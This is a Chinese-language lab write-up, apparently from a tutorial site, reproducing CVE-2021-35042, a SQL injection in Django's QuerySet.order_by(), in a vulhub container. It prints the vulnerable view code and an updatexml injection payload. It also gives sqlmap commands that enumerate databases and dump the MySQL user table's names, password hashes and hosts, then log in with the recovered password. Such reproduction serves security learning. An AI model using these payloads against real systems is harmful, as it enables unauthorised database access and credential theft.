栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Django QuerySet.order

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Django QuerySet.order

Django QuerySet.order_by() SQL注入漏洞复现

靶机在vulhub文件夹中打开终端,输入命令

cd django/CVE-2021-35042
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose ps

可以看到一共开了两个容器,一个是web服务的容器,一个是数据库的容器

访问web页面,此时页面会提示你到/vuln路径下,该页面的源码是

from django.shortcuts import HttpResponse
from .models import Collection

# Create your views here.


def vul(request):
    query = request.GET.get('order', default='id')
    q = Collection.objects.order_by(query)
    return HttpResponse(q.values())

我们可以看到该页面有可上传的参数order,当我们输入URL:http://靶机IP:8000/vuln/?order=1时可以看到页面提示order值应该为id或者name


然后就可以通过输入特定内容进行排序,说明order_by()函数正常,这时候使用一些特殊符号如

> .
> '
> ''
> (
> )
> ;

等等进行引发错误,当输入 . 时发现引发了一个特殊错误,可以看到该处的SQL语句包含了括号

我们可以尝试继续在 . 后面添加其他参数,如添加.id时发现与id内容相同,说明该处存在注入点,可以使用以下命令验证注入点存在

.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23

那么我们打开 kali 终端,输入命令:

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" --dbs --threads=10 

然后就可以得到其数据库名


该网页使用的数据库是cve,一般情况下应该继续挖掘cve数据中的用户账号密码,但是该靶机中并没有用户列表等内容,所以我们可以挖掘该网页数据库的账号密码

继续输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id -D mysql --tables


发现用户表user,继续输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user --column

发现用户名,主机地址以及密码,输入命令

sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user -C User,authentication_string,Host --dump

现在就获得了靶机数据库的账号和密码,一般情况下应该继续输入命令

mysql -h靶机IP -uroot -pmysql

但是该靶场中数据库使用的是单独容器,而且该容器没有使用特定IP地址,如果我们使用上述的命令,连接到的是靶机本机的数据库,而不是容器本身的数据库,为了验证正确性,我们可以到靶机中进入数据库容器中

输入命令

mysql-uroot -pmysql

登录成功,密码正确

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1031009.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号